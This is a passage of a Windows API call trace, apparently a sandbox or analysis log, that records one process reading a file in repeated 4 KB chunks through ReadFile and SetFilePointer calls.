| out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.251] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x3d000 [0115.251] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.251] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x3e000 [0115.251] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.251] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x3f000 [0115.251] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.252] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x40000 [0115.252] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.252] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x41000 [0115.252] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.252] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x42000 [0115.252] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.253] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x43000 [0115.253] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.253] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x44000 [0115.253] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.253] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x45000 [0115.253] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.254] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x46000 [0115.254] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.254] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x47000 [0115.254] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.254] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x48000 [0115.254] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.255] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x49000 [0115.255] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.255] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x4a000 [0115.255] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.256] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x4b000 [0115.256] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.256] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x4c000 [0115.256] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.256] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x4d000 [0115.256] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.256] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x4e000 [0115.257] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.257] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x4f000 [0115.257] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.257] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x50000 [0115.257] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.258] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x51000 [0115.258] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.258] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x52000 [0115.258] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.258] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x53000 [0115.258] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.259] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x54000 [0115.259] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.259] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x55000 [0115.259] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.259] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x56000 [0115.259] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.260] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x57000 [0115.260] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.260] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x58000 [0115.260] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.260] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x59000 [0115.260] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.261] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x5a000 [0115.261] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.261] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x5b000 [0115.261] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.261] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x5c000 [0115.261] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.262] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x5d000 [0115.262] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.262] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x5e000 [0115.262] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.262] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x5f000 [0115.262] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.263] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x60000 [0115.263] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.263] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x61000 [0115.263] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.263] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x62000 [0115.263] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.263] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x63000 [0115.264] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.264] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x64000 [0115.264] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.264] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x65000 [0115.264] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.264] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x66000 [0115.265] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.265] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x67000 [0115.265] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.265] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x68000 [0115.265] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.265] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x69000 [0115.265] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.266] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x6a000 [0115.266] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.266] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x6b000 [0115.266] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.266] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x6c000 [0115.266] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.266] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x6d000 [0115.267] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.267] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x6e000 [0115.267] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.267] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x6f000 [0115.267] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.267] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x70000 [0115.267] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.268] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x71000 [0115.268] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.268] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x72000 [0115.268] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.268] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x73000 [0115.268] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.268] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x74000 [0115.269] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.269] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x75000 [0115.269] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, 